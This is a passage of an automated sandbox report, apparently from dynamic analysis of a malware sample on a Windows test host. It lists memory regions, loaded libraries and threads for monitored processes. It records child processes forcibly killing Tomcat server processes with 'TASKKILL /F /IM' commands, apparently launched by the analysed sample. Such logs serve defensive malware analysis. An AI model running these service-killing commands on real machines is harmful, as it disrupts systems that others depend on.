0x2bffff entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 4475 start_va = 0x2010000 end_va = 0x22defff entry_point = 0x2010000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 4476 start_va = 0x2310000 end_va = 0x234ffff entry_point = 0x0 region_type = private name = "private_0x0000000002310000" filename = "" Region: id = 4477 start_va = 0x74460000 end_va = 0x7449afff entry_point = 0x7446128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 4478 start_va = 0x749e0000 end_va = 0x749f5fff entry_point = 0x749e2dc3 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 4479 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 4480 start_va = 0x749d0000 end_va = 0x749ddfff entry_point = 0x749d1235 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll") Region: id = 4481 start_va = 0x690000 end_va = 0x6cffff entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 4482 start_va = 0xa80000 end_va = 0xabffff entry_point = 0x0 region_type = private name = "private_0x0000000000a80000" filename = "" Region: id = 4483 start_va = 0x2350000 end_va = 0x238ffff entry_point = 0x0 region_type = private name = "private_0x0000000002350000" filename = "" Region: id = 4484 start_va = 0x2390000 end_va = 0x23cffff entry_point = 0x0 region_type = private name = "private_0x0000000002390000" filename = "" Region: id = 4485 start_va = 0x74b90000 end_va = 0x74b9efff entry_point = 0x74b921a0 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemsvc.dll") Region: id = 4486 start_va = 0x7efaa000 end_va = 0x7efacfff entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 4487 start_va = 0x7efad000 end_va = 0x7efaffff entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 4488 start_va = 0x6a570000 end_va = 0x6a605fff entry_point = 0x6a58f8b9 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\fastprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\fastprox.dll") Region: id = 4489 start_va = 0x74b70000 end_va = 0x74b87fff entry_point = 0x74b71335 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\SysWOW64\\ntdsapi.dll" (normalized: "c:\\windows\\syswow64\\ntdsapi.dll") Thread: id = 274 os_tid = 0x35c Thread: id = 275 os_tid = 0x638 Thread: id = 276 os_tid = 0x644 Thread: id = 277 os_tid = 0x220 Thread: id = 278 os_tid = 0x444 Process: id = "38" image_name = "taskkill.exe" filename = "c:\\windows\\syswow64\\taskkill.exe" page_root = "0x57379000" os_pid = "0xbd8" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "10" os_parent_pid = "0xbb0" cmd_line = "TASKKILL /F /IM tomcat7.exe /IM tomcat7.exe " cur_dir = "C:\\Users\\kFT6uTQW\\Desktop\\" os_username = "XABNCPUWKW\\kFT6uTQW" os_groups = "XABNCPUWKW\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ae" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4490 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 4491 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 4492 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 4493 start_va = 0x50000 end_va = 0x8ffff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 4494 start_va = 0x90000 end_va = 0x93fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 4495 start_va = 0xa0000 end_va = 0xa0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000a0000" filename = "" Region: id = 4496 start_va = 0x1b0000 end_va = 0x1effff entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 4497 start_va = 0xb50000 end_va = 0xb65fff entry_point = 0xb55c89 region_type = mapped_file name = "taskkill.exe" filename = "\\Windows\\SysWOW64\\taskkill.exe" (normalized: "c:\\windows\\syswow64\\taskkill.exe") Region: id = 4498 start_va = 0x776c0000 end_va = 0x77868fff entry_point = 0x776c0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4499 start_va = 0x778a0000 end_va = 0x77a1ffff entry_point = 0x778a0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 4500 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 4501 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 4502 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 4503 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 4504 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 4505 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4506 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 4507 start_va = 0x3e0000 end_va = 0x45ffff entry_point = 0x0 region_type = private name = "private_0x00000000003e0000" filename = "" Region: id = 4508 start_va = 0x73fd0000 end_va = 0x73fd7fff entry_point = 0x73fd20f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 4509 start_va = 0x73fe0000 end_va = 0x7403bfff entry_point = 0x7401f798 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 4510 start_va = 0x74040000 end_va = 0x7407efff entry_point = 0x7406de78 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 4511 start_va = 0x774a0000 end_va = 0x77599fff entry_point = 0x0 region_type = private name = "private_0x00000000774a0000" filename = "" Region: id = 4512 start_va = 0x775a0000 end_va = 0x776befff entry_point = 0x0 region_type = private name = "private_0x00000000775a0000" filename = "" Region: id = 4513 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4514 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 4515 start_va = 0x30000 end_va = 0x3ffff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 4516 start_va = 0xb0000 end_va = 0x116fff entry_point = 0xb0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4517 start_va = 0x650000 end_va = 0x74ffff entry_point = 0x0 region_type = private name = "private_0x0000000000650000" filename = "" Region: id = 4518 start_va = 0x6a520000 end_va = 0x6a60afff entry_point = 0x6a5213ce region_type = mapped_file name = "dbghelp.dll" filename = "\\Windows\\SysWOW64\\dbghelp.dll" (normalized: "c:\\windows\\syswow64\\dbghelp.dll") Region: id = 4519 start_va = 0x73ba0000 end_va = 0x73bb1fff entry_point = 0x73ba1200 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 4520 start_va = 0x74080000 end_va = 0x74087fff entry_point = 0x740810e9 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\SysWOW64\\secur32.dll" (normalized: "c:\\windows\\syswow64\\secur32.dll") Region: id = 4521 start_va = 0x74b50000 end_va = 0x74b58fff entry_point = 0x74b51220 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 4522 start_va = 0x74c30000 end_va = 0x74c3efff entry_point = 0x74c312a1 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 4523 start_va = 0x74c50000 end_va = 0x74c84fff entry_point = 0x74c513d5 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\SysWOW64\\framedynos.dll" (normalized: "c:\\windows\\syswow64\\framedynos.dll") Region: id = 4524 start_va = 0x74c90000 end_va = 0x74c98fff entry_point = 0x74c915a6 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 4525 start_va = 0x74ca0000 end_va = 0x74cb0fff entry_point = 0x74ca1300 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\SysWOW64\\netapi32.dll" (normalized: "c:\\windows\\syswow64\\netapi32.dll") Region: id = 4526 start_va = 0x74cc0000 end_va = 0x74cccfff entry_point = 0x74cc11e0 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\SysWOW64\\wtsapi32.dll" (normalized: "c:\\windows\\syswow64\\wtsapi32.dll") Region: id = 4527 start_va = 0x75330000 end_va = 0x75348fff entry_point = 0x75331319 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 4528 start_va = 0x753f0000 end_va = 0x753fbfff entry_point = 0x753f10e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 4529 start_va = 0x75400000 end_va = 0x7545ffff entry_point = 0x7541a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 4530 start_va = 0x755a0000 end_va = 0x7564bfff entry_point = 0x755aa472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 4531 start_va = 0x763f0000 end_va = 0x7648ffff entry_point = 0x764049e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 4532 start_va = 0x76520000 end_va = 0x7662ffff entry_point = 0x765332d3 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 4533 start_va = 0x76690000 end_va = 0x7677ffff entry_point = 0x766a0569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 4534 start_va = 0x76780000 end_va = 0x767d6fff entry_point = 0x76799ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 4535 start_va = 0x76910000 end_va = 0x7699efff entry_point = 0x76913fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 4536 start_va = 0x769a0000 end_va = 0x769b8fff entry_point = 0x769a4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 4537 start_va = 0x76c80000 end_va = 0x76c85fff entry_point = 0x76c81782 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 4538 start_va = 0x76c90000 end_va = 0x76d2cfff entry_point = 0x76cc3fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 4539 start_va = 0x76d30000 end_va = 0x76e8bfff entry_point = 0x76d7ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 4540 start_va = 0x76ea0000 end_va = 0x76ea9fff entry_point = 0x76ea36a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 4541 start_va = 0x77130000 end_va = 0x77164fff entry_point = 0x7713145d region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 4542 start_va = 0x772c0000 end_va = 0x77305fff entry_point = 0x772c7478 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 4543 start_va = 0x77310000 end_va = 0x7740ffff entry_point = 0x7732b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 4544 start_va = 0x77410000 end_va = 0x7749ffff entry_point = 0x77426343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 4545 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 4546 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 4547 start_va = 0x1f0000 end_va = 0x377fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001f0000" filename = "" Region: id = 4548 start_va = 0x767e0000 end_va = 0x7683ffff entry_point = 0x767f158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 4549 start_va = 0x771f0000 end_va = 0x772bbfff entry_point = 0x771f168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 4550 start_va = 0x120000 end_va = 0x126fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 4551 start_va = 0x130000 end_va = 0x131fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000130000" filename = "" Region: id = 4552 start_va = 0x140000 end_va = 0x143fff entry_point = 0x140000 region_type = mapped_file name = "taskkill.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\taskkill.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\taskkill.exe.mui") Region: id = 4553 start_va = 0x150000 end_va = 0x150fff entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 4554 start_va = 0x160000 end_va = 0x160fff entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 4555 start_va = 0x170000 end_va = 0x170fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000170000" filename = "" Region: id = 4556 start_va = 0x460000 end_va = 0x5e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 4557 start_va = 0x750000 end_va = 0x80ffff entry_point = 0x750000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 4558 start_va = 0x840000 end_va = 0x87ffff entry_point = 0x0 region_type = private name = "private_0x0000000000840000" filename = "" Region: id = 4559 start_va = 0x8a0000 end_va = 0x8dffff entry_point = 0x0 region_type = private name = "private_0x00000000008a0000" filename = "" Region: id = 4560 start_va = 0x990000 end_va = 0x9cffff entry_point = 0x0 region_type = private name = "private_0x0000000000990000" filename = "" Region: id = 4561 start_va = 0xb70000 end_va = 0x1f6ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b70000" filename = "" Region: id = 4562 start_va = 0x76490000 end_va = 0x76512fff entry_point = 0x764923d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 4563 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 4564 start_va = 0x180000 end_va = 0x180fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000180000" filename = "" Region: id = 4565 start_va = 0x74b70000 end_va = 0x74bcbfff entry_point = 0x74b92b48 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\SysWOW64\\wbemcomn.dll" (normalized: "c:\\windows\\syswow64\\wbemcomn.dll") Region: id = 4566 start_va = 0x74c40000 end_va = 0x74c49fff entry_point = 0x74c4149a region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemprox.dll") Region: id = 4567 start_va = 0x9d0000 end_va = 0xacffff entry_point = 0x0 region_type = private name = "private_0x00000000009d0000" filename = "" Region: id = 4568 start_va = 0x2160000 end_va = 0x219ffff entry_point = 0x0 region_type = private name = "private_0x0000000002160000" filename = "" Region: id = 4569 start_va = 0x74c00000 end_va = 0x74c28fff entry_point = 0x74c06b19 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\SysWOW64\\winsta.dll" (normalized: "c:\\windows\\syswow64\\winsta.dll") Region: id = 4570 start_va = 0x1fa0000 end_va = 0x1fdffff entry_point = 0x0 region_type = private name = "private_0x0000000001fa0000" filename = "" Region: id = 4571 start_va = 0x2030000 end_va = 0x206ffff entry_point = 0x0 region_type = private name = "private_0x0000000002030000" filename = "" Region: id = 4572 start_va = 0x21a0000 end_va = 0x246efff entry_point = 0x21a0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 4573 start_va = 0x74460000 end_va = 0x7449afff entry_point = 0x7446128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 4574 start_va = 0x749e0000 end_va = 0x749f5fff entry_point = 0x749e2dc3 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 4575 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 4576 start_va = 0x749d0000 end_va = 0x749ddfff entry_point = 0x749d1235 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll") Region: id = 4577 start_va = 0x600000 end_va = 0x63ffff entry_point = 0x0 region_type = private name = "private_0x0000000000600000" filename = "" Region: id = 4578 start_va = 0x2080000 end_va = 0x20bffff entry_point = 0x0 region_type = private name = "private_0x0000000002080000" filename = "" Region: id = 4579 start_va = 0x20e0000 end_va = 0x211ffff entry_point = 0x0 region_type = private name = "private_0x00000000020e0000" filename = "" Region: id = 4580 start_va = 0x2520000 end_va = 0x255ffff entry_point = 0x0 region_type = private name = "private_0x0000000002520000" filename = "" Region: id = 4581 start_va = 0x74bf0000 end_va = 0x74bfefff entry_point = 0x74bf21a0 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemsvc.dll") Region: id = 4582 start_va = 0x7efaa000 end_va = 0x7efacfff entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 4583 start_va = 0x7efad000 end_va = 0x7efaffff entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 4584 start_va = 0x6a880000 end_va = 0x6a915fff entry_point = 0x6a89f8b9 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\fastprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\fastprox.dll") Region: id = 4585 start_va = 0x74bd0000 end_va = 0x74be7fff entry_point = 0x74bd1335 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\SysWOW64\\ntdsapi.dll" (normalized: "c:\\windows\\syswow64\\ntdsapi.dll") Thread: id = 279 os_tid = 0xbcc Thread: id = 280 os_tid = 0xbd0 Thread: id = 281 os_tid = 0xbc8 Thread: id = 282 os_tid = 0xbc4 Thread: id = 283 os_tid = 0x31c Process: id = "39" image_name = "taskkill.exe" filename = "c:\\windows\\syswow64\\taskkill.exe" page_root = "0x56d7e000" os_pid = "0x61c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "10" os_parent_pid = "0xbb0" cmd_line = "TASKKILL /F /IM tomcat7_x64.exe /IM tomcat7_x64.exe " cur_dir = "C:\\Users\\kFT6uTQW\\Desktop\\" os_username = "XABNCPUWKW\\kFT6uTQW" os_groups = "XABNCPUWKW\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ae" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4586 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 4587 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 4588 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 4589 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 4590 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 4591 start_va = 0xf0000 end_va = 0x12ffff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 4592 start_va = 0x1a0000 end_va = 0x1dffff entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 4593 start_va = 0x3d0000 end_va = 0x3e5fff entry_point = 0x3d5c89 region_type = mapped_file name = "taskkill.exe" filename = "\\Windows\\SysWOW64\\taskkill.exe" (normalized: "c:\\windows\\syswow64\\taskkill.exe") Region: id = 4594 start_va = 0x776c0000 end_va = 0x77868fff entry_point = 0x776c0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4595 start_va = 0x778a0000 end_va = 0x77a1ffff entry_point = 0x778a0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 4596 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 4597 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 4598 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 4599 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 4600 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 4601 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4602 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 4603 start_va = 0x5e0000 end_va = 0x65ffff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 4604 start_va = 0x73fd0000 end_va = 0x73fd7fff entry_point = 0x73fd20f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 4605 start_va = 0x73fe0000 end_va = 0x7403bfff entry_point = 0x7401f798 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 4606 start_va = 0x74040000 end_va = 0x7407efff entry_point = 0x7406de78 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 4607 start_va = 0x774a0000 end_va = 0x77599fff entry_point = 0x0 region_type = private name = "private_0x00000000774a0000" filename = "" Region: id = 4608 start_va = 0x775a0000 end_va = 0x776befff entry_point = 0x0 region_type = private name = "private_0x00000000775a0000" filename = "" Region: id = 4609 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4610 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 4611 start_va = 0x70000 end_va = 0xd6fff entry_point = 0x70000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4612 start_va = 0x2a0000 end_va = 0x2affff entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 4613 start_va = 0x850000 end_va = 0x94ffff entry_point = 0x0 region_type = private name = "private_0x0000000000850000" filename = "" Region: id = 4614 start_va = 0x6a830000 end_va = 0x6a91afff entry_point = 0x6a8313ce region_type = mapped_file name = "dbghelp.dll" filename = "\\Windows\\SysWOW64\\dbghelp.dll" (normalized: "c:\\windows\\syswow64\\dbghelp.dll") Region: id = 4615 start_va = 0x73ba0000 end_va = 0x73bb1fff entry_point = 0x73ba1200 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 4616 start_va = 0x74080000 end_va = 0x74087fff entry_point = 0x740810e9 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\SysWOW64\\secur32.dll" (normalized: "c:\\windows\\syswow64\\secur32.dll") Region: id = 4617 start_va = 0x74b50000 end_va = 0x74b58fff entry_point = 0x74b51220 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 4618 start_va = 0x74c40000 end_va = 0x74c4efff entry_point = 0x74c412a1 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 4619 start_va = 0x74c50000 end_va = 0x74c58fff entry_point = 0x74c515a6 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 4620 start_va = 0x74c60000 end_va = 0x74c70fff entry_point = 0x74c61300 region_type = mapped_file name = "netapi32.dll" filename = 